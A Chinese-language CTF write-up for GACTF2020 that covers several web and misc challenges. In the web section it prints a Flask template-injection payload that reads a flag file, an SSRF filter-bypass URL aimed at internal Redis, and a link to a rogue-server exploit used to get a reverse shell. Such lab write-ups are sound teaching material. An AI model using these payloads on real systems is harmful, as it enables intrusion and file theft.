GACTF2020 wp整理

本次跟师傅们一起冲到了32,相比月初打到50,或许是个大进步,今后也还要继续努力才行。

WEB

simpleflask

不会flask的屑,只会看别人wp然后发现竟然如此简单的five.jpg

直接读flag一把梭

name={{__int__.__globals__.__builtins__.open(“/FLAG”.lower()).read())}}

XWIKI

现成的CVE漏洞,编号:CVE2020-11057,存在python命令执行

利用这个漏洞直接弹shell

阴间文件readflag,进行480+次比大小,比出来就给flag

直接base64 readflag 进行加密显示,然后复制出来解密粘贴为elf文件

反编译即可,发现数据存放在缓冲区

数据是固定的,把二进制提出来转换文字就出了

SSSRFME

ssrf,差一点出,可惜时间不够了

<?php
// ini_set("display_errors", "On");
// error_reporting(E_ALL | E_STRICT);


function safe_url($url,$safe) {
    $parsed = parse_url($url);
    $validate_ip = true;
    if($parsed['port']  && !in_array($parsed['port'],array('80','443'))){

        echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>".PHP_EOL;
        
        return false;
    }else{
        preg_match('/^\d+$/', $parsed['host']) && $parsed['host'] = long2ip($parsed['host']);
        $long = ip2long($parsed['host']);
        if($long===false){
            $ip = null;
            if($safe){
                @putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1');
                $ip   = gethostbyname($parsed['host']);
                $long = ip2long($ip);
                $long===false && $ip = null;
                @putenv('RES_OPTIONS');
            }
        }else{
            $ip = $parsed['host'];
        }
        $ip && $validate_ip = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
    }

    if(!in_array($parsed['scheme'],array('http','https')) || !$validate_ip){
        echo "<b>{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>".PHP_EOL;
        
        return false;
    }else{
        return $url;
    }
}


function curl($url){
    $safe = false;
    if(safe_url($url,$safe)) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        $co = curl_exec($ch);
        curl_close($ch);
        echo $co;
    }
}

highlight_file(__FILE__);
curl($_GET['url']);

存在ssrf漏洞,直构筑ssrfpaylod发现存在套娃

http://121.36.199.21:10808/?url=http://root:root@127.0.0.1:5000@baidu.com/

题目hint提示Redis,直接扫描端口发现6379端口开了redis

利用现成的exp打一下就行

https://github.com/n0b0dyCN/redis-rogue-server

最后反弹shell即可

MISC

SignIN

直接把二维码拼一下就行了

GACTF FEEDBACK

老问卷了

Minecraft Redstone Music

这题混了个三血,自吹亿播.jpg

flag总共分为三个部分,配置文件为一部分,游戏内两个部分

外部文件为forge.json

该文件如图所示,存在版本错误

将版本号和size数字拼起来就是

71 65 67 84 70 123 84 104 51

ascii转换为GACTF{Th3

至此,第一部分解决完成

第二部分为游戏内,该部分在音乐启动后中间段一个一闪而过文字便是

至此,获得第二部分

第三部分则需要对游戏进行修复,所以必须要使用整合包进行启动游戏(实际上只要一个工业mod就行了

修复方式:

看一下mod列表

图中三个红框mod为冲突部分,启动器内部关掉就行

启动后提示三个mod缺少前置模组,网上找下来装上就行了

最后启动即可

第三部分:

命令方块下面直接发现石英玻璃

(当然开xray效果更快,我挖了半年才发现

玻璃由石英玻璃和充能石英玻璃组成,xray屏蔽一个然后做方块就行了

(你问我为什么要用基岩?我忘了

最终flag:GACTF{Th3_Mus1c_in_Min3cr4fT}

crymisc

开局一个压缩包,实际上是伪加密,解压后获得3.jpg图片

提取一个crymisc.txt的emoji加密文字,直接爆破解密

trihistory

直接把镜像pull下来,然后在把镜像给给export出来,

倒数第二个解压可以获得layer文件

进入后存在.git文件,使用

git log命令查看历史版本

通过git cat-file -p 不断溯源获得.flag.html.swp

直接cat就行了

Capture

明白是个啥,奈何不会写脚本,算了,直接贴别人的脚本吧(by VN

import re
import numpy as np
import matplotlib.pyplot as plt

X = []
Y = []

c = open("captured.txt", "rb").read()


r = re.compile(rb": ([,UD])(\d+),(\d+)")

res = r.findall(c)

fig = plt.figure(figsize=(200, 20))
ax = fig.add_subplot(111)


for i in res:
    if i[0] == b"," and d:
        X.append(int(i[1]))
        Y.append(int(i[2]))
    elif i[0] == b"U":
        d = False
        ax.plot(Y, X)
    elif i[0] == b"D":
        d = True
        X = []
        Y = []


plt.show()

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发